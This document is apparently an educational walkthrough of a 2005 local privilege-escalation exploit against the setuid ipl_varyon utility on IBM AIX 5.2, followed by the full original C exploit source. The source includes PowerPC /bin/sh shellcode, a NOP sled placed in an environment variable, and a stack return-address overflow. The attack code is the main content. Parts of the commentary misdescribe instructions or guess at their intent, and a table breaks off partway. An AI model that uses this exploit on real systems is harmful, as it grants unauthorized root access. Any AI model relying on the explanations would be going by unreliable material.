AIX 5.2 'ipl_varyon' Local Privilege Escalation Explained

AIX 5.2 'ipl_varyon' Local Privilege Escalation Explained
What this paper is
This paper details a local privilege escalation vulnerability in IBM AIX version 5.2. The exploit targets the ipl_varyon utility, allowing a local user to gain root privileges. The exploit leverages a buffer overflow vulnerability within the ipl_varyon command's argument parsing.
Simple technical breakdown
The core of the exploit lies in overflowing a buffer used to process arguments passed to the ipl_varyon command. By crafting a malicious input string, the attacker can overwrite critical control data on the stack, including the return address. This overwrite redirects the program's execution flow to attacker-controlled shellcode. The shellcode, in this case, is designed to execute /bin/sh, providing a root shell.
The exploit uses a technique where it manipulates environment variables to inject both the shellcode and a carefully crafted buffer that triggers the overflow. The cex_load_environment function prepares these buffers.
Complete code and payload walkthrough
Let's break down the provided C code and its associated shellcode.
C Code Structure:
Includes: Standard C libraries for input/output, process control, memory allocation, and string manipulation.
Defines:
DEBUG 1: Enables debug printing.BUFFERSIZE 2048: Defines the size of the buffer used for the exploit payload and return addresses.EGGSIZE 2048: Defines the size of the "egg" buffer, which will contain the shellcode and padding.NOP 0x60: Defines the NOP (No Operation) instruction byte for the PowerPC architecture. This is used for padding.ADDRESS 0x2ff22fff-(BUFFERSIZE/2): This is a crucial part. It defines a target memory address. In AIX, stack addresses often grow downwards. This address is likely chosen to be within the stack space of theipl_varyonprocess, specifically where the return address is expected. SubtractingBUFFERSIZE/2is a common technique to place the overflowed data before the target return address.
shellcode_binsh[]: This is the actual shellcode. It's a byte array containing PowerPC assembly instructions."\x7c\xa5\x2a\x79":xor. r5,r5,r5- Initializes registerr5to zero."\x40\x82\xff\xfd":bnel <shellcode>- A conditional branch. If the previousxorresulted in a non-zero condition (which it won't, asr5is zero), it would branch. This effectively acts as a jump to the start of the shellcode if the initial setup is correct."\x7f\xe8\x02\xa6":mflr r31- Move From Link Register tor31. The Link Register (LR) typically holds the return address."\x3b\xff\x01\x20":cal r31,0x120(r31)- Add Immediate to Control Register. This adds0x120(decimal 288) tor31. This is likely adjusting the stack pointer to find the beginning of the current stack frame or a known location."\x38\x7f\xff\x08":cal r3,-248(r31)- Add Immediate tor3. This calculates a memory address by subtracting 248 fromr31and stores it inr3. This is likely preparing to store the string "/bin/sh"."\x38\x9f\xff\x10":cal r4,-240(r31)- Add Immediate tor4. Calculates another address by subtracting 240 fromr31and stores it inr4. This is likely preparing to store the string "/bin/sh" as well, possibly for a different purpose or as part of a string manipulation."\x90\x7f\xff\x10":st r3,-240(r31)- Store Word. Stores the value inr3(the address for "/bin/sh") at an offset of -240 fromr31."\x90\xbf\xff\x14":st r5,-236(r31)- Store Word. Stores the value inr5(which is 0) at an offset of -236 fromr31. This is likely null-terminating something or setting up a null pointer."\x88\x5f\xff\x0f":lbz r2,-241(r31)- Load Byte and Zero. Loads a byte from an offset of -241 fromr31intor2. This is likely loading the first character of "/bin/sh"."\x98\xbf\xff\x0f":stb r5,-241(r31)- Store Byte. Stores the value inr5(which is 0) at an offset of -241 fromr31. This is likely overwriting the first character of "/bin/sh" with a null byte, effectively truncating the string. This part seems counter-intuitive if the goal is to execute/bin/sh. It might be a mistake in the shellcode or an attempt to manipulate a string in a specific way that is not immediately obvious without more context of the target program's behavior."\x4c\xc6\x33\x42":crorc cr6,cr6,cr6- Condition Register OR Complement. This is a no-op instruction that affects the condition registers."\x44\xff\xff\x02":svca- System Call Vector. This instruction is used to invoke a system call. The specific system call invoked depends on the value in registerr0. In this context, it's likely intended to executeexecve("/bin/sh", ...)or a similar system call. The value inr0is not explicitly set to anexecvesyscall number in this snippet, which is a potential point of failure or requires the surrounding environment to set it up."/bin/sh\x05": This is the string "/bin/sh" followed by a byte\x05. The\x05might be intended as a null terminator or part of the system call arguments.
cex_load_environmentfunction:- Purpose: This function prepares the environment variables and the argument buffer that will be passed to
execve. - Parameters:
env_buffer: A buffer to hold the shellcode and padding.address_buffer: A buffer to hold the overflow data (AAAA... and return addresses).payload: The shellcode to be injected.environment_size: The total size allocated for the environment buffer.buffer_size: The total size allocated for the argument buffer.
- Logic:
- It calculates
env_size, the required size for the environment variable, which includes the payload, padding, and a prefix. - It fills the
env_bufferwithNOPinstructions (0x60) up to a certain point, creating a "NOP sled." This increases the chances of the execution flow landing within the NOPs, which then slides down to the actual shellcode. - It copies the
payload(shellcode) into theenv_bufferafter the NOPs. - It appends a null terminator to the
env_buffer. - It prepends "CAU=" to the
env_buffer. This is likely the format of an environment variable thatipl_varyonmight process in a vulnerable way. - It fills the
address_bufferwith 'A' characters. This is the "junk" data that will overflow the buffer. - It sets a target
addressusing theADDRESSdefine. - It then overwrites the last few bytes of the 'A' padding in
address_bufferwith the targetaddressrepeatedly. This is the "return address" overwrite. Theret_addressp = (unsigned long *)(address_buffer+3)suggests it's overwriting at an offset of 3 bytes from the start of the buffer, which is a common technique to align with the expected return address on the stack. - It appends a null terminator to
address_buffer.
- It calculates
- Return Value: Returns 0, indicating success.
- Purpose: This function prepares the environment variables and the argument buffer that will be passed to
mainfunction:- Purpose: Sets up the exploit and executes the target program.
- Logic:
- Allocates memory for
buffer(for the overflow data) andegg(for the shellcode and environment variable). - Calls
cex_load_environmentto prepare theeggandbuffer. - Sets up the arguments for
execve:args[0] = "/usr/sbin/ipl_varyon": The path to the vulnerable executable.args[1] = "-d": A command-line argument foripl_varyon.args[2] = buffer: The crafted buffer containing the overflow data and return address. This is the argument that will be processed byipl_varyonand trigger the vulnerability.args[3] = NULL: Standard NULL termination for the argument list.
- Sets up the environment variables for
execve:envs[0] = egg: The crafted environment variable containing the NOP sled and shellcode.envs[1] = NULL: Standard NULL termination for the environment variable list.
- Calls
execve("/usr/sbin/ipl_varyon", args, envs): This replaces the current process with/usr/sbin/ipl_varyon, passing the crafted arguments and environment. If the exploit is successful,ipl_varyonwill execute the shellcode.
- Allocates memory for
- Return Value: Returns 0 if
execvefails (which is unlikely if the exploit is successful).
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*
*
* IBM AIX ipl_varyon elevated privileges exploit
*
* I just wanted to play with PowerPC (Tested on 5.2)
*
* intropy (intropy <at> caughq.org)
*
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define DEBUG 1
#define BUFFERSIZE 2048
#define EGGSIZE 2048
#define NOP 0x60
#define ADDRESS 0x2ff22fff-(BUFFERSIZE/2)
/* lsd */
char shellcode_binsh[] =
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel <shellcode> */
"\x7f\xe8\x02\xa6" /* mflr r31 */
"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca */
"/bin/sh"
"\x05";
unsigned long cex_load_environment(char *env_buffer, char *address_buffer, char *payload, int environment_size, int buffer_size) {
int count, env_size = strlen(payload) + environment_size + 4 + 1;
unsigned long address, *ret_addressp;
if (DEBUG) printf("Adding nops to environment buffer...");
for ( count = 0; count < env_size - strlen(payload) - 1; count++ ) {
*(env_buffer++) = NOP;
}
if (DEBUG) printf("size %d...\n", count);
if (DEBUG) printf("Adding payload to environment buffer...");
for ( count = 0; count < strlen(payload); count++ ) {
*(env_buffer++) = payload[count];
}
if (DEBUG) printf("size %d...\n", count);
env_buffer[env_size - 1] = '\0';
memcpy(env_buffer, "CAU=", 4);
memset(address_buffer, 'A', buffer_size);
address = ADDRESS;
if (DEBUG) printf("Going for address @ 0x%lx\n", address);
if (DEBUG) printf("Adding return address to buffer...");
ret_addressp = (unsigned long *)(address_buffer+3);
for ( count = 0; count < buffer_size; count += 4) {
*(ret_addressp++) = address;
}
if (DEBUG) printf("size %d...\n", count);
address_buffer[buffer_size - 1] = '\0';
return( 0 );
}
int main()
{
char *buffer, *egg;
char *args[3], *envs[2];
buffer = (char *)malloc(BUFFERSIZE);
egg = (char *)malloc(EGGSIZE);
cex_load_environment(egg, buffer, (char *)&shellcode_binsh, EGGSIZE, BUFFERSIZE);
args[0] = "/usr/sbin/ipl_varyon";
args[1] = "-d";
args[2] = buffer;
args[3] = NULL;
envs[0] = egg;
envs[1] = NULL;
execve( "/usr/sbin/ipl_varyon", args, envs );
return( 0 );
}
// milw0rm.com [2005-06-14]